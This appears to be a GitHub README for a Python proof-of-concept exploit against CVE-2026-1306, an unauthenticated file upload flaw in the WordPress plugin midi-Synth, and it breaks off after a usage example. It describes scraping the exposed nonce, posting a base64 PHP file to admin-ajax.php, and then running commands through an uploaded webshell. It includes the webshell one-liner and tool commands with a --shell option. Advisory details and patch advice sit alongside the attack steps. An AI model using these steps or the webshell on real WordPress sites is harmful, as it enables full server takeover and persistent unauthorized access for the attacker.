
Python proof-of-concept for CVE-2026-1306: extracts the midi-Synth nonce, uploads arbitrary files via the export AJAX action, and verifies RCE through a PHP webshell.
Proof-of-Concept (PoC) exploit for CVE-2026-1306, a critical unauthenticated arbitrary file upload vulnerability in the WordPress plugin midi-Synth (versions <= 1.1.0) that can lead to Remote Code Execution (RCE).
CVE-2026-1306 is a critical (CVSS 9.8) unrestricted file upload vulnerability in the WordPress plugin midi-Synth. The plugin's export AJAX action fails to validate file type and extension, allowing unauthenticated attackers to upload arbitrary files — including PHP scripts — to a publicly accessible directory .
The only prerequisite is a nonce, which the plugin exposes in frontend JavaScript, making it trivially obtainable by any unauthenticated visitor .
This repository contains a Python 3 PoC that:
⚠️ This is not a detection tool. Successful exploitation results in full server compromise.
| Field | Value |
|---|---|
| CVE ID | CVE-2026-1306 |
| Vulnerability Type | Unauthenticated Arbitrary File Upload → RCE |
| CWE | CWE-434: Unrestricted Upload of File with Dangerous Type |
| CVSS v3.1 Score | 9.8 (Critical) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Attack Vector | Network |
| Privileges Required | None (unauthenticated) |
| User Interaction | None |
| Impact | Confidentiality: High · Integrity: High · Availability: High |
| Affected Component | export AJAX action in admin-ajax.php |
| Vendor | midi-Synth (WordPress plugin) |
| Patched Version | 2.0.0 |
AV:N — Remotely exploitable over the networkAC:L — No special conditions; nonce is exposed publiclyPR:N — No authentication requiredUI:N — No user interaction required (unlike phishing vulnerabilities)S:U — Scope unchangedC:H/I:H/A:H — Full loss of confidentiality, integrity, and availability| Plugin | Versions Affected | Fixed In |
|---|---|---|
| midi-Synth | <= 1.1.0 | 2.0.0 |
⚠️ Update to version 2.0.0 or later immediately. This vulnerability is actively tracked by WordPress security vendors and has public Nuclei templates available .
The plugin's export AJAX handler (midiSynth.php and midiSynthConvert.php) processes file uploads without validating:
.php files are acceptedThe handler uses the fileName and fileMidi (base64-encoded content) POST parameters. Because the upload directory (/wp-content/plugins/midi-synth/sound/) is web-accessible and PHP execution is typically enabled in plugin directories, uploaded PHP files are executed by the server .
The plugin requires a valid nonce for the export action. However, this nonce is embedded in frontend JavaScript on every page load :
var midiSynth_nonce = "a1b2c3d4e5";
Any unauthenticated visitor (including the attacker) can scrape this value with a simple GET request. The nonce provides no security benefit in this context.
This is a direct, unauthenticated server compromise. No victim interaction is needed.
Attacker Target WordPress Server
│ │
│ 1. GET / │
│───────────────────────────────────────>│
│ │
│ 2. HTML response with nonce │
│<───────────────────────────────────────│
│ midiSynth_nonce = "abc123" │
│ │
│ 3. POST /wp-admin/admin-ajax.php │
│ action=export │
│ nonce=abc123 │
│ fileName=shell_x7k2.php │
│ fileMidi=<base64 PHP code> │
│───────────────────────────────────────>│
│ │
│ 4. File written to: │
│ /wp-content/plugins/ │
│ midi-synth/sound/shell_x7k2.php │
│<───────────────────────────────────────│
│ │
│ 5. GET /wp-content/.../shell_x7k2.php?cmd=id
│───────────────────────────────────────>│
│ │
│ 6. Command output (RCE) │
│<───────────────────────────────────────│
│ │
Result: The attacker has a persistent webshell on the server and can execute arbitrary system commands.
requests libraryInstall dependencies:
pip install requests
git clone https://github.com/SecureNet-Dynamics/CVE-2026-1306.git
cd CVE-2026-1306
---
## 🚀 Usage
```bash
python3 CVE-2026-1306.py -t <TARGET_URL> [OPTIONS]
| Flag | Long Form | Description |
|---|---|---|
-t | --target | Required. Target WordPress base URL |
--check | — | Upload a test .txt file to verify vulnerability |
-f | --filename | Filename to upload (with -c for content) |
-c | --content | Content for the uploaded file (default: test string) |
--shell | — | Upload a PHP webshell for RCE |
-k | --insecure | Disable SSL certificate verification |
Uploads a harmless .txt file and verifies it's accessible.
python3 CVE-2026-1306.py -t http://target.com --check
Expected output (vulnerable):
[+] Fetching nonce from http://target.com
[+] Nonce: a1b2c3d4e5
[+] Uploading: test_x7k2m9.txt
[✓] File accessible: http://target.com/wp-content/plugins/midi-synth/sound/test_x7k2m9.txt
[+] Content preview: CVE-2026-1306 test
[!] Target VULNERABLE to CVE-2026-1306
Upload a specific file with custom content.
python3 CVE-2026-1306.py -t http://target.com -f proof.txt -c "authorized-testing"
Uploads a minimal PHP webshell (<?php system($_GET['cmd']); ?>) and provides the execution URL.
python3 CVE-2026-1306.py -t http://target.com --shell
Expected output: